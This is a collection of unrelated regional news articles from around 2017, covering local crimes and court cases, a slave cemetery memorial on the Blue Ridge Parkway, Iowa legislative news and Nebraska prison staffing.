Air Defense Identification Zones are not officially sovereign air space, but foreign aircraft entering another country's zone must notify the host before passing through. But China has unilaterally declared that a section of the Korean zone near Ieo overlaps with its own.

According to the JCS, when asked about the purpose of its intrusion, China said it was merely a military exercise and it did not intend to invade Korean airspace.

Last year, Chinese military aircraft entered the Korean zone 59 times, but never in such numbers.


The SUV that crashed into utility pole Monday, killing the vehicle's three occupants, was stolen, and wrecked while trying to evade state troopers, police said.

The crash took place at the intersection of Flyatt and Caranza roads in Shamong Township just before noon, according to a statement from New Jersey State Police.

State troopers responded to the report of a stolen vehicle at the Pic-a-Lilli Inn on Route 206, where they were told a 1999 green GMC Yukon had been stolen.

Traveling southbound on Route 206, troopers spotted the SUV driving in the opposite direction and turned to follow the vehicle, attempting to stop it, according to police.

The GMC was "driving erratically at a high speed" and veered off the roadway and into the pole not long after troopers began pursuing it, police said. It caught fire, and was later seen turned on its side, wrapped around the pole.

Police have not yet identified the three who died, and are continuing to investigate both the alleged vehicle theft and crash.

6abc reported that two adult men and a pregnant teenager were killed in the crash.

Reached by phone Tuesday afternoon, an employee of the Pic-a-Lilli Inn said police have spoken to them regarding the crash and vehicle theft, but the restaurant cannot comment further on the investigation.

Amanda Hoover can be reached at ahoover@njadvancemedia.com. Follow her on Twitter @amandahoovernj. Find NJ.com on Facebook.
The Cumberland County Prosecutor's Office received a $736,769 grant to help fund the CC THRIVE Initiative. CCTHRIVE, which stands for Cumberland Collective to Help Reverse Inequality and Violence Everywhere Initiative, will check how gang and gun violence impacts younger kids and adults in Cumberland County's three largest municipalities: Bridgeton, Millville and Vineland.

The program will look to prevent the amount of gang and gun violence from children as young as 10 all the way to 25-year-old adults.

"We are ecstatic to have received this award," said Cumberland County Prosecutor Jennifer Webb-McRae. "We requested just over $300,000 and were awarded twice that much. We feel that the strategic partnerships that we have already built through our County Policy Prevention Board make us particularly poised to begin this work."

The Senator Walter Rand Institute at Rutgers University will be helping with the planning of implementing the initiative.

Chris Franklin can be reached at cfranklin@njadvancemedia.com. Follow him on Twitter @cfranklinnews. Find NJ.com on Facebook
A man who beat and choked his cellmate to death at the Essex County Correctional Facility four years ago has been sentenced to 29 years in state prison, the county prosecutor's office announced Monday.

Rahdi Richardson, 34, previously pleaded guilty to a charge of aggravated manslaughter on the first day of jury selection for his trial before Superior Court Judge James W. Donohue in the Aug. 31, 2013, death of Desmond Sanders, 27.

Sanders, of Newark, was found dead on Sept. 1, 2013, in the cell he shared with Richardson, according to a statement from Assistant Prosecutor Justin Edwab, who handled the case with Assistant Prosecutor Joseph Giordano.

At the time of Sanders' death, both he and Richardson were being held in connection with a June 2013 armed robbery, to which Richardson also pleaded guilty.

Richardson, who prosecutors said has four prior convictions for drug and weapons offenses, unsuccessfully tried to withdraw his plea during a hearing scheduled for his sentencing earlier this year.

Richardson's 15-year sentence for the June 2013 robbery -- which includes two counts of armed robbery, two counts of aggravated assault and weapons charges -- will run concurrent with his sentence for Sanders' slaying, the prosecutor's office said.

Thomas Moriarty may be reached at tmoriarty@njadvancemedia.com. Follow him on Twitter at @ThomasDMoriarty. Find NJ.com on Facebook.

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North Korean leader Kim Jong-un paid his respects at his father's embalmed corpse at the Kumsusan Palace of the Sun in Pyongyang on Sunday, the official [North] Korean Central News Agency reported.

It was the sixth death anniversary of Kim Jong-il, who lies in state alongside his father and regime founder Kim Il-sung. KCNA said Kim junior vowed to "fight more unflinchingly... as befits a revolutionary warrior."

Unlike in previous years, Kim Jong-un visited the mausoleum alone, unaccompanied by senior party or military officials.


Holiday wish list: Become one of the 'Top Workplaces' in New Orleans
In this file photo from Dec. 5, 2017, Sen. John Kennedy, R-La., walks to the chamber following weekly strategy meetings, on Capitol Hill in Washington. (AP Photo / J. Scott Applewhite)
Former President Donald Trump is preparing to launch his third campaign for the White House with an announcement Tuesday night. Trump is looking to move on from disappointing midterm defeats and defy history amid signs that his grip on the Republican Party may be waning. The former president had hoped to use the GOP's expected gains in last week's elections as a springboard to win his party's nomination by locking in early support and keeping potential challengers at bay. Instead, Trump now finds himself being blamed for backing a series of losing candidates in last week's midterm elections.
Here are the top trending Google searches in New Orleans and Louisiana in 2017
The second suspect sought in connection with the murder of a homeless man was arrested in Lincoln, Nebraska, Tuesday morning, according to Council Bluffs Police.

Michael Thacker is being held at the Lancaster County Jail after being apprehended by the Lincoln Police Department for a misdemeanor. He is awaiting extradition back to the Pottawattamie County Jail.

David Randall Simpson, 34, was found to have been killed by blunt force trauma. Police named Thacker and Cleo McClellan as the primary suspects. McClellan was arrested on Dec. 13.

Thacker will be charged with first-degree murder. McClellan is charged with accessory to a felony-murder.

Police accuse McClellan of participating in Simpsons murder. All three men were homeless at the time, police said.

On Dec. 11, police responded to 1004 First Ave. where Simpsons body was found. He was found by a man walking his dog in a grass lot north of the building on the vacant property.
The descendants of a Council Bluffs firefighter who served the department in the late 1800s accepted his badge and application for membership certificate after both items were discovered by local historians.

Gerry Hough, 96, of Council Bluffs, stood inside the Council Bluffs Central Fire Station Monday with members of her family, the fire crew, Iowa State Patrol troopers and Pottawattamie County Sheriffs Office deputies.

In her hand, she held badge No. 9 and the certificate of John McGill, who was her husband Randalls grandfather.

Its unbelievable, was all Hough could muster to describe how she felt as she looked at the tarnished metal badge.

Pottawattamie County Sheriffs Cpl. J.M. Barnes found the badge for auction on eBay. A local collector of historical artifacts, Barnes was astonished to see a fire department badge for the first time up for bid.

I have about 50 badges from the local police and sheriffs office, but never something like this, Barnes said.

He reached out to local history researchers Norm Colyer and Cal Petersen to help find out more about badge No. 9.

Petersen, who is a retired fire marshal, published a book on the agencys history in 1990. Through his research, he was able to learn about McGills tenure with the department. With some help from Colyer, who is a retired captain with the fire department, they were able to piece more information together.

Assistant Fire Chief Chris Sorenson said members of the Pottawattamie County Historical Society discovered the certificate in a box of documents inside the Squirrel Cage Jail during some cleaning in June.

After we found out what we did, Barnes said we should return them to the family, Sorenson said.

McGill joined Council Bluffs then-volunteer fire department on March 25, 1880, at age 23. He remained a member until it became a paid department in 1883, Petersen said.

However, the outbreak of World War I meant the department was in dire need of more workers. McGill was hired again on Sept. 5, 1918.

McGill retired from Rescue Team 3 in 1932.

As for how the badge ended up on eBay, Barnes theorized it may have been sold to a collector after an estate sale.

Hough said the badge and certificate will stay in the family. It will passed down from generation to generation.

The certificate, now framed, reads To the Officers and Members of Rescue Engine Co., No. 3. GENTLEMEN: The undersigned wishes to become a member of your Company. He has read the Constitution and By-Laws, and will, if elected, abide by the same.
MEADOWS OF DAN, Va.  Thirty-three years ago, Bob Heafner made a promise to an old man.

The old man was Matt Burnett, a lifelong resident of this mountain-top community in Patrick County. In 1984, Burnett was an 80-year-old man living with a regret that he confessed to Heafner as the two men walked in a grassy pasture just a few yards from the Blue Ridge Parkway.

Nearly 50 years earlier in that same meadow, as the parkway was being built in about 1936, Burnett had been part of a work crew that had removed the headstones from an old slave cemetery. He and other men had pulled up the simple fieldstone grave markers and had hauled them into the nearby woods. The plan was to replace the stones when the road was finished, Burnett said, but that never happened. The slave cemetery was all but forgotten.

You could tell the man felt bad about it, Heafner said, recalling that conversation.

Burnett asked Heafner if he would make sure that people would someday know about the forgotten slaves hiding in plain sight next to a road traveled by millions. Heafner was young then, a businessman and a publisher who knew people in Meadows of Dan and up and down the parkway. Surely, Burnett thought, Heafner could find a way to place a monument or memorial to those people, so that their lives wouldnt remain buried in the past.

I want you to promise to get it done, the old man demanded.

Ill do my best, Heafner replied. Burnett died three years later.

Heafner told that story on a dreary, drizzly day in September as he walked through that same field where he had first heard the story of the old slave cemetery near Meadows of Dan Baptist Church. He walked slowly in the wet grass, while holding a blue umbrella and wearing a heavy denim coat against the chill. He strode into a small area cordoned by a split-rail fence where a pair of wooden stakes marked possible sites for a stone marker to be placed.

After 33 years worth of letters, emails, phone calls and near endless haggling with parkway officials, countless hours of research in courthouses, and with the aid of other people who helped seal the deal when it appeared the cemetery might never be marked, Bob Heafner made good on his promise. A granite marker dedicated to the African-Americans who worked for the Langhorne family and who are buried there was placed Nov. 29 inside what Heafner dubbed the slave meadow.

The young man who made that promise is 70 now, fleshier of face, with a smokers deep drawl and crowned with white hair that flips into a rakish curl on his forehead.

Lord have mercy, if Id known what I promised to do for Matt Burnett  he said with the hint of a chuckle. He paused.

I wouldve still done it.

A local legend

Folks had always heard that there was a slave cemetery around somewhere. The trouble was documenting its existence so that the National Park Service would acknowledge it with some kind of historic marker. An old mans memory about something that happened in the 1930s wasnt good enough.

Felecia Shelor, owner of the Poor Farmers Market on U.S. 58 and a longtime friend of Heafners, said that old-timers sometimes griped about the lost headstones.

I heard several people say that they were upset that the stones had been dumped, Shelor said.

Heafner had heard a story about a black woman who came looking for the cemetery years ago, and she was saddened to see cattle grazing in the meadow where her ancestors were possibly buried.

Heafners research went slowly, but some facts were already well-documented. The Langhorne family had operated a large farm in Meadows of Dan before the Civil War. Slaves lived and worked on the farm called Langdale, although an exact number is not known.

Slavery was common in Patrick County. According to county historian Tom Perry, as many as 2,000 slaves were part of Patrick Countys 9,000 residents in 1850. The majority of those enslaved people were owned by the prominent Reynolds and Hairston families. Confederate Gen. J.E.B. Stuarts father owned 28 slaves, according to Perry. Slavery was less prevalent up on the mountain in Meadows of Dan, where five families owned slaves, according to an Appalachian State University research project commissioned by the park service.

Heafner discovered a will that stated James Steptoe Langhorne had at least five slaves, and perhaps owned more than 10 at one time.

He also found the names of five other African-Americans who were probably buried in the cemetery. Three of them died enslaved, with history having no record of their last names: Charles (a child who died in 1858), John (who was 19 when he died in 1858) and Ellen (a 1-year-old who died in 1862). The two other people Heafner documented died after the Civil War: Guss Langhorne (another 1-year-old who died in 1871) and Susan Langhorne (born a slave, died free in 1871 at age 28). It is unclear why the latter two had the Langhorne name.

Those people are buried near the Langhorne familys section of the Meadows of Dan Baptist Churchs cemetery, Heafner said. Although he had answered some questions about who was buried there, he still had not fully proved where they were buried. As the 20th century dissolved into the 21st, he was unsure if he would ever fulfill his promise to Burnett.

A mountain of a task

Bob Heafner and his wife, Charlotte, moved to Meadows of Dan in 1971. He had worked in real estate before finding an old farmhouse in the mountains near U.S. 58. He and Charlotte were quickly enamored with the people of Patrick County and the stories they had to tell, especially the tales of old folks who remembered a time before paved roads and electricity, a time when mighty American chestnut orchards carpeted the mountainsides before the devastating blight that destroyed them.

Bob and Charlotte decided to record these stories, which is how they came to start The Mountain Laurel, a free, monthly, tabloid-sized newspaper filled with history, recipes, profiles, ghost stories and other accounts of a rural lifestyle that was disappearing from the mountains like the chestnuts. With the help of their neighbor Susan Thigpen, the Heafners launched The Mountain Laurel in March 1983 and quickly sold all 3,000 copies.

By the early 1990s, monthly circulation had exploded to 25,000, with coast-to-coast distribution. The Heafners were early adopters of the internet, and they put The Mountain Laurel online in 1996, where back issues from 1983 to 2015 can be found, thanks to the Library of Virginia, which archived older stories for the website. (The Mountain Laurel can be read online at mtnlaurel.com.)

Publishing The Mountain Laurel is how Bob met old-timers such as Burnett, a local man who had a knack with a pocket knife. Burnett whittled walking canes and old-fashioned wooden toys  things with colorful names like gee-haw whimmy diddles, horseshoe puzzles, jumping jacks, dancing men and other country crafts. He remembered the days when mules plowed the fields and when families attended the Fourth of July celebration on horseback.

Burnett also knew about the fieldstone grave markers being removed from the slave cemetery, because he had been part of a crew that removed them.

Mister Matt showed me where the slaves are buried, Heafner said. Mister Matt told me he was on the crew that did the landscaping. They picked up the fieldstone markers and took them to the woods and never put them back.

The park service has owned the property where the cemetery is located since the 1930s, so Heafner started by calling Gary Everhardt, who was the parkway superintendent in the 1980s.

I asked Gary to put up a monument, Heafner said. He said theyd do it, but Id have to pay for it. This was in the days before GoFundMe. I never could get any interest in it.

Everhardt was the first of four Blue Ridge Parkway superintendents with whom Heafner would work over the next three decades.

Heafner, who today lives in Greensboro, North Carolina, was often frustrated with the park services deliberate approach to documenting the slave cemetery, as evidenced by a series of back-and-forth emails and letters he has posted on The Mountain Laurel website that cover just the years 2001 through 2012. The communications between him and the park service are mostly cordial, professional and straightforward, but Heafner was often unsatisfied with parkway officials responses.

Mr. Matt is dead and Im not getting any younger, he wrote to superintendent Dan Brown in 2001, and I fear if something is not done soon, even the fact that slaves are buried in the meadow will someday be forgotten and they will pass into oblivion like countless other forgotten black people who contributed to the settlement and development of the Blue Ridge.

For their part, parkway administrators were receptive to the idea of placing a marker in the slave meadow, but officials also told Heafner that they lacked funds for an extensive project. Any park service undertaking that requires taxpayer money or private grants takes considerable time, Brown wrote to Heafner in 2002. Park service staff also spent time trying to determine whether the slave cemetery even existed.

Three years later, in 2005, Heafner wrote another letter that said, The clock is ticking fast and action is needed very soon.

I just had to keep going back and going back and going back, Heafner said during an interview this fall.

Finally, a pair of breakthroughs jump-started the project. Heafner found an old map in the Patrick County Courthouse in Stuart that showed the location of the slave cemetery right where Burnett said it had been. The park service then sent Heafner a copy of a ragged property-acquisition map from the 1930s that also showed the slave cemetery.

In 2007, a park service archaeologist used ground-penetrating radar to discover nine graves in the suspected cemetery. The graves were marked, and the park service planned to build a split-rail fence around the property. That took another five years.

Heafner acknowledges that had he gone searching for maps earlier, perhaps the project would have been completed sooner.

The cemetery still had no headstones or historic marker to memorialize the people buried there, however. Heafners efforts to raise $7,500 for a stone memorial through a GoFundMe site had not been successful. His good friend Shelor, who oversaw the GoFundMe campaign, was about to return about $1,200 in pledges to donors. The effort to erect a marker appeared dead.

Thats when Libby Wilcox showed up.

Rock-star performance

Wilcox is a 73-year-old, type-A spitfire who is an energetic advocate and volunteer for the Blue Ridge Parkway. A former environmental educator from North Carolina, Wilcox has a part-time home near the scenic highway in Carroll County. She was the subject of a Roanoke Times story in 2015 when she and a friend painted and cleaned road signs along the parkways entire 469-mile route.

She met Heafner three years ago, when recently retired parkway superintendent Mark Woods told her about the stalled effort to place a memorial marker in the slave cemetery. When Heafner told Wilcox that they needed $7,500 to buy a stone marker, Wilcox had another idea.

Bob, you do know that the worlds largest granite quarry is in our backyard? Wilcox said. That would be the North Carolina Granite Corporation in Mount Airy, North Carolina, about 45 minutes from Meadows of Dan.

Wilcox had no intention of paying for a stone marker.

I used to work with Girl Scouts, she said. I know how to get donations.

She met with the quarrys owner, William Swift. Within 10 minutes of introductions, Swift had agreed to donate a 2 -foot by 4-foot marker with an inscription.

What do you want on it? he asked.

Forever free

The sky was topaz blue on a mild Nov. 29 in Meadows of Dan as Wilcox watched the stone lowered into place. Wayne Thomas and Scott Smith of Acme Stone Company parked the companys flat-bed truck next to the split-rail fence, placed straps around the heavy granite stone and hoisted it with a lift onto a stone base. The men applied a cement-like setting compound between the marker and its base, then brushed the letters with water. The inscription read:

SLAVE MEADOW CEMETERY

In memory and honor of the

known and unknown

African-Americans buried in

this Meadow.

May they rest in peace,

forever free.

Im about to cry, Wilcox said, although she sounded happy. Its so big!

She was joined by Shelor and Nancy Galli, the founder of Nancys Candy Company and a longtime Meadows of Dan resident. A couple of men from the local papers also watched and reported the event.

One person who was not there was Bob Heafner. The last couple of years have not been the best for him. Charlotte, his wife, died two years ago after years of declining health. He lost a daughter last year.

However, he plans to return to Meadows of Dan in the spring, when the park service will formally dedicate the granite marker in the slave meadow. He said his work isnt finished. The GoFundMe account has about $900 left, after $300 was spent to place the marker. He would like for the park service to build a wayside exhibit dedicated to the lives and stories of slaves in the region.

Wouldnt it be wonderful if someone came to the cemetery and found their relatives? he said. I think there are people out there who still know stories about the people who are buried there. Now, maybe this will shake some memories loose. Thatd be icing on the cake.
Catholic Charities Domestic Violence and Sexual Assault, formerly called Phoenix House, celebrated the completion of a three-month renovation project June 15 with a ribbon-cutting ceremony.

The project included changing the layout in the building and installing new carpet, paint and lighting. A larger conference room was created to more comfortably accommodate larger groups. There are now offices for each of the organizations programs.

About $375,000 went into the renovations, said Diane McKee, program manager. Donations from the CHI Health Foundation, the Iowa West Foundation and anonymous donors made it possible.

The name change reflects the many services the organization provides, including a 24-hour crisis line, support groups, a 24-bed emergency shelter that can hold up to eight families, housing advocacy, court advocacy, 24-hour hospital response, educational groups and prevention education, she said.

Catholic Charities sees more than 1,500 people in Council Bluffs in an average year. The agency also has offices in Atlantic and Red Oak and serves people in nine southwest Iowa counties.

Its local employee base has grown from one person in 1980, when a house was used as a shelter, to 31 people today. In 1999, the program expanded with more federal and state funding.

A grant from the Catholic Diocese of Des Moines and generous support from local businesses and individuals led to the eventual opening of the current facility in 2002. The 24/7 crisis line, staffed by fully trained volunteers and staff, provides support to people in violent relationships and who have been sexually abused.

To reach the crisis line, call 712-328-0266 or 888-612-0266. Outside southwest Iowa, call 800-284-7821. Iowans who are deaf or hard of hearing can call V/VP 319-531-7719 or, for text only, 515-661-4015.
February saw actions from the Iowa Legislature, bullying in Council Bluffs and calls for bridge improvements.

As part of a busy and controversial session of the Iowa Legislature, lawmakers stripped all collective bargaining topics other than wages from public employees.

Exempted from most, but not all, of the new laws list of prohibited bargaining topics were public safety employees, an employment category that includes police officers and firefighters.

The bill passed on Feb. 16.

The GOP-controlled House voted 53-47 for the bill, and it passed 29-21 in the Republican-led Senate. Reps. Mary Ann Hanusa of Council Bluffs and Tom Moore of Griswold, both Republicans, were among those who crossed party lines to vote in opposition. Senators voted along party lines. Then-Gov. Terry Branstad signed the bill.

These are changes to make it even more even-handed, the late Rep. Greg Forristall, R-Macedonia, said of the bill, comparing to the 1974 collective bargaining law that had been on the books. I think it will be a lot fairer situation between public employees and the people that pay them, which is taxpayers.

Union representatives say the legislation effectively guts public sector labor unions in the state. The bill would make drastic changes to how public sector employees can negotiate working conditions. Discussions over health insurance, evaluation procedures and extra pay would be prohibited.

Collective bargaining is gone. You have one thing to bargain on  wage  thats controlled by the Consumer Price Index, Rep. Charlie McConkey, D-Council Bluffs. There is no collective bargaining. You have nothing to give. You have to have something to give up, barter back and forth. Now there is nothing to give on the employee side.

In February, word broke that two students from Titan Hill Intermediate School had held down a 10-year-old classmate and wrote the word loser across her face while riding on the school bus.

Parent Zach Dabney said he was picking up his children from the bus stop when his daughter, Raeann, came off the bus crying with marker all over her face.

Dabney said Raeann told him the two students drew a mustache and wrote loser on her face after the two students repeatedly asked her over and over to sit with them.

They kept asking her, Do you care if we color on your face? And she said, Yeah, I would mind, Dabney said.

Titan Hill Principal Kent Stopak said the school investigated the incident and took necessary disciplinary action against the students.

We do not condone or tolerate that kind of behavior in our buses or in our building, Stopak said. Our focus going forward is making sure all the students feel safe and supported and working with all our students on respect and dignity and how to treat one another.

A study issued in mid-February noted that a bridge over Indian Creek in Council Bluffs is one of a nation-leading 4,968 bridges in Iowa that are structurally deficient.

Many passersby likely dont know the road over Indian Creek is a bridge, though.

The U.S. Highway 6/Iowa Highway 192 conduit over Indian Creek, which is the intersection of Sixth Street and Kanesville Boulevard, is the seventh-most traveled deficient bridge in the state, with 16,600 daily crossings, according to the American Road & Transportation Builders Association.

You dont know theres a bridge there. Youre passing over the Indian Creek channel, said Greg Reeder, Council Bluffs Public Works director. To the average person, they dont know Indian Creek is under there.

The city continues plans to fix the bridge as part of ongoing infrastructure work.

Children in the area were able to receive dental care as part of the annual Give Kids a Smile event.

Each year, participating Council Bluffs dentists and their staffs donate their time and expertise to provide free preventive and restorative dental care to local children who face barriers to good oral health, said Linda Meyers of Family Inc., who coordinates Give Kids a Smile.

Bayliss Park Dental Group, Broadway Family & Cosmetic Dentistry, New Image Dentistry and Stuntz Family Dentistry also participated in the 10th annual event, which has grown since its inception, she said. Give Kids a Smile is held in February, which is National Childrens Dental Health Month.

More than 140 students were expected to receive care during the event, Meyers said.

It was a good day, overall, she said. A lot of kids got some work done, including fillings and extractions.

On Feb. 17, a group of area seniors stopped by Iowa Western Community College.

As a group of students were studying quietly in the colleges Cyber Library it was invaded by a group of nice men and women from Primrose Retirement Community.

The senior citizens approached individuals at their work stations  and those working at the front desk  and offered them cookies and gift cards.

Its amazing! said Mans Rakhimi, a second-year nursing student from Tajikistan, who received a gift card for Buffalo Wild Wings. This has never happened to me before.

The retirees were celebrating Random Acts of Kindness Day. Primrose Retirement Communities has held activities on the special day for several years, but this was the first time all of its properties had participated, said communications manager Dan Smilloff.
The biggest story of January was the inauguration of Donald Trump as the 45th president of the United States. As Trump was sworn in, a number of southwest Iowa residents looked on.

Family and friends of Sarah Root, a Council Bluffs woman killed almost two years ago by a suspected drunk driver who then fled the country, watched as Trump took the oath of office and then gave his inaugural address.

The inauguration was just fantastic. Everyone was so full of hope and joy, Michelle Root, Sarahs mother, said of the Jan. 20 event.

Roots family and friends have led a crusade to find the man driving the other vehicle that night, while also fighting for stiffer immigration laws.

On Jan. 6, a Council Bluffs man was among five people killed, and his wife was one of eight people wounded in a shooting at the airport in Fort Lauderdale, Florida.

Michael Oehme was shot and killed at the airport. His wife, Kari Oehme, was injured. The couple was on their way to a cruise vacation when a gunman open fire in the terminal.

On Jan. 17, the Pottawattamie County Board of Supervisors voted to approve a contract with Midlands Humane Society for sheltering county dogs found at large. The move was the death knell of the countys own shelter.

The access to the Midlands Humane Society is easier than the county shelter, said Matt Wyant, the county Programming Departments director.

Wyant said the move would save the county roughly $33,000.

Volunteers at the county shelter decried the move.

This should be about animal welfare, said Lee Ann Walker, a county shelter volunteer. Were taking steps backward. Why are we getting rid of a model shelter?

Also in January, Shanna Golyar of Persia was charged in the 2012 murder of Cari Farver of Macedonia.

In a preliminary hearing on the matter, three investigators unraveled a tangled web of texts and emails that they say can be traced to Golyar since Farvers disappearance on Nov. 13, 2012.

Not only did Golyar pose as Farver online in the hours, months and years after her disappearance, Golyar continued to pose online as other people to cover up the apparent killing as late as last year, officials testified.

Golyar sent 11 emails to authorities in February acting as another woman and confessing intimate details on Farvers slaying, a sergeant testified.

Golyar was convicted in May of first-degree murder and second-degree arson after her 10-day bench trial. She was sentenced to life in prison in August.

In January, officials with the Council Bluffs Water Works hammered out a final settlement with the Iowa Department of Natural Resources and the federal Environmental Protection Agency in a dispute over Water Works discharges into the Missouri River  a dispute that could have potentially cost the utilitys customers as much as $30 million to resolve.

It took 13 years to reach a settlement on the issue.

Water Works CEO and General Manager Doug Drummey said The Narrows treatment plant is the only lime-softening plant on the Missouri River in Iowa.

When the treatment process is completed, some of the lime used in softening the citys water is returned to the Missouri River, a process that has been going on since the plant was completed more that 60 years ago. For the first 50 years, the discharge was not a problem.

That changed in 2002, when Iowa DNR officials determined the discharge from The Narrows treatment plant violated the Clean Water Act, which regulates discharges into public waterways such as the Missouri River.

Fixes would have cost $30 million to reduce the discharges.

A turning point came in 2014 when the Water Works second treatment facility, the Council Point plant on Gifford Road, went online.

Rather than using lime to treat water, Drummey said the Council Point plant uses reverse osmosis, a process that eliminates any lime discharge.

We agreed, over time, to increase production at Council Point, Drummey said. That results in a technology based reduction.

In Denison, tragedy struck when 15-year-old Yoana Acosta died when a vehicle crashed into the Boyer River on Jan. 19.

She was one of five occupants in a car that had left a farm field and crashed into the river.

One occupant got to the rivers bank and walked to a trailer house directly east of the accident site. The homeowner called the county communications center, and the Crawford County Sheriffs Office was paged at 3:06 a.m.

Three of the remaining occupants of the vehicle were rescued, including Acostas sister, Valeria, 19. But Yoana, who was last seen standing in the water, was gone.

The driver, Ramon Hernandez, 26, of Denison, was arrested and tried in the matter.

In October, he was found guilty of homicide by vehicle, four counts of supplying alcohol to underage individuals, three counts of delivering or possessing with intent to deliver a controlled substance to individuals under age 18 and one count of delivering or possessing with intent to deliver a controlled substance to an individual over 18. He was sentenced to up to 25 years in prison.
Jon Jacobsen will serve as the representative in Iowa House District 22 when the Iowa Legislature convenes in early 2018.

Jacobsen, 56, won the House seat in a special election in June. The longtime Republican activist received 43.7 percent of the vote, with 1,070 voters residents casting their ballot for Jacobsen, according to unofficial results from the Pottawattamie County Auditors Office.

Jacobsen was elected to complete the term of Greg Forristall, who died in May after a battle with cancer.

Im just very grateful for the faith and confidence the voters placed in me, Jacobsen said after the final results came in at the Pottawattamie County Courthouse. I look forward to representing them strong and well in Des Moines.

District 22 encompasses the majority of Pottawattamie County, including a portion of eastern Council Bluffs. The election was held to replace the late Rep. Greg Forristall of Macedonia, who died after a battle with cancer on May 10.

Jacobsen is a longtime member of the Pottawattamie County Republican Central Committee, has served as moderator for senate and congressional debates and been a chairman, delegate and parliamentarian for county GOP conventions. He also hosted a town hall meeting held by President Donald Trump in Marshalltown during the campaign season.

Jacobsen co-hosted a political radio program on KMA for three years before the show ended this spring.

The new representative was sworn into office in July as he said he wanted to hit the ground running, starting work on legislation and reaching out to constituents. Jacobsen will serve the remainder of the term and will be up for re-election in November 2018.
Inmates from Frontier County will be housed at the Lincoln County Detention Center under an agreement approved Monday by the County Board of Commissioners.

Lincoln County and Frontier County will enter into a contract for inmate housing.

Sheriff Jerome Kramer spoke in favor of the agreement.

Its the exact same contract weve had with other western Nebraska counties, he said.

After discussion, the commissioners accepted a $14,502.16 bid from Meyer Creative to print the North Platte/Lincoln County Visitors Bureaus 2018 travel guide and rack cards.

Lisa Burke, executive director of the visitors bureau, presented three bids for 50,000 multipage travel guide brochures and 88,000 rack cards.

Burke said the bureau ran out of brochures this year in October.

That really says a lot about our marketing campaign, she said.

Burke said the bureau recommended the bid from Meyer Creative in North Platte. The money would go to a local business, she said, and we recommend Meyer because of their reputation and quality.

In other business, the commissioners authorized the county attorney to foreclose D tax sales certificates.

Later in the day, the board met with elected county officials and department heads.
LINCOLN  When state legislators visited Nebraska prisons this summer, they said they saw frustration, and even fear, in the eyes of prison workers.

Corrections workers, they said, worried about their safety because of staff shortages and an increase in assaults on staff, and spoke of the fatigue of having to frequently work double shifts to cover the vacant posts.

On Monday, legislators called on Gov. Pete Ricketts to do whatever is necessary to stem high turnover in state prison jobs; the department sees more than one corrections officer leave the job each day.

A 30-page report from a legislative oversight committee called for consideration of higher pay, better benefits, raises for longevity and other retention-focused incentives to stabilize staffing levels.

We are encouraging the executive branch to do whatever is necessary, said State Sen. Laura Ebke of Crete, who chaired the oversight committee. If we need to spend money, we need to spend money.

A spokesman for Ricketts said Monday that he has increased pay for corrections officers over the past three years, and Nebraska now pays more than both Kansas and South Dakota. Additional bonuses were announced for those hired at the Tecumseh State Prison and the State Penitentiary in October, said Taylor Gage, the governors communications director.

As we assess the effectiveness of the strategies, the Governors Office and corrections will work together to continue to make staffing and workforce needs a priority, Gage said.

Mondays report by the Nebraska Justice System Special Oversight Committee was the latest in a string of legislative reports about the states troubled corrections system.

The oversight committee, consisting of seven state senators, visited all 10 state prisons, talking with staff as well as inmates. The group also took testimony on how to address corrections issues.

The bottom line, the report said, is that while some progress has been made, much more work is needed, and that addressing the staffing problems is paramount.

Theyve still got challenges, certainly, but I think theres a lot of potential, said Ebke, who also chairs the Legislatures Judiciary Committee.

The committee, however, expressed some doubts that recent sentencing reforms are cutting into overcrowding that has elevated Nebraska to the second-most crowded system in the country.

Because of that, the committee recommended that corrections and the Board of Parole provide an assessment of the costs and risks of releasing hundreds of inmates if, by mid-2020, prison overcrowding is not reduced.

Under a state law passed two years ago, an overcrowding emergency will be automatically enacted if Nebraskas prison population exceeds 140 percent of design capacity on July 1, 2020.

That would compel the State Parole Board to release hundreds of parole-eligible inmates until the prison population drops to 125 percent of capacity, which is considered the maximum operational capacity of a prison system. That would mean the release of 1,064 inmates under todays prison count of 5,283.

Nebraskas prison system now holds about 1,900 more inmates than its design capacity. The prisons have been at or over 140 percent of design capacity for a decade.

Both Ricketts and his predecessor, Gov. Dave Heineman, could have voluntarily declared overcrowding emergencies when overcrowding hit 140 percent, but they have declined to do so, saying the system could handle the overload.

Meanwhile, the ACLU of Nebraska filed a lawsuit in August, claiming that the overcrowding had led to substandard medical and mental health care.

Crowding has also taken part of the blame for two deadly riots at the Tecumseh State Prison over the past 2 years, and for the strangulation killing of an inmate by his cellmate this summer in a double-bunked solitary confinement cell that was designed to hold one inmate.

The Ricketts administration has taken several steps to address the high turnover rate at corrections, including a 7 percent pay raise for corrections officers over the past year and added incentives at the two prisons with the worst staffing problems.

Despite that, the report said, reductions in staff turnover have not been significant. In October, there were 150 vacant security jobs and 120 in training, leaving a total of 270 vacant posts.

The shortage of prison staff, the report said, is at the root of many of the problems in the Nebraska corrections system, including an increase in assaults on staff and a shortage of rehabilitation programming and prison jobs.

The document steered clear of some controversial issues, including doing away with mandatory minimum sentences, which is supported by defense attorneys and others as contributing to overcrowding and is opposed by prosecutors and others as an important tool in punishing serious crimes.

Instead, the report urges the formation of a working group of attorneys and others in the criminal justice system to look at sentencing reforms.

The committee expressed some concern that sentencing reforms enacted by the Legislature in 2015, as recommended by the Justice Center of the Council of State Governments, have fallen far short, so far, in reducing prison overcrowding.

Legislative Bill 605 was projected to reduce overcrowding by 921 inmates by July of this year, but had only decreased the prison population by 142.

Ebke said that lawmakers see a need to understand which inmates might be released from prison and whether the State Board of Parole has the staffing and funding to supervise a sudden increase in parolees.

The overcrowding emergency law gives the Board of Parole discretion to deny release to parole-eligible inmates if it believes they would pose a danger or would not comply with the terms of parole.

State Corrections Director Scott Frakes told the oversight committee earlier this year that he doubted an emergency would be necessary in 2020.
PORTAGE  Ensuring the Region and state have enough workers and resources to attract and retain businesses is among the issues Northwest Indiana community leaders say needs attention.

Representatives from the Indiana Chamber of Commerce, the state's largest business organization, on Monday discussed its 2018 legislative agenda during the Northwest Indiana Forum's monthly luncheon. Speaking from a statewide perspective, the chamber's priorities for the upcoming state legislative session focuses on variety of issues from making computer science coursework a high school graduation requirement to raising the age to buy cigarettes from 18 to 21.

Luncheon attendees acknowledged the program's time constraints prevented the chamber staff from discussing its agenda in greater detail but hoped conversations with state lawmakers would be more focused to get results.

Bill Waltz, vice president taxation and public finance with the state chamber, said as it relates to labor, his organization supported a work-sharing plan that would allow employers to retain its workforce without layoffs during economic slowdowns. This proposal would allow businesses to reduce hours worked by their employees and supplement their incomes with unemployment.

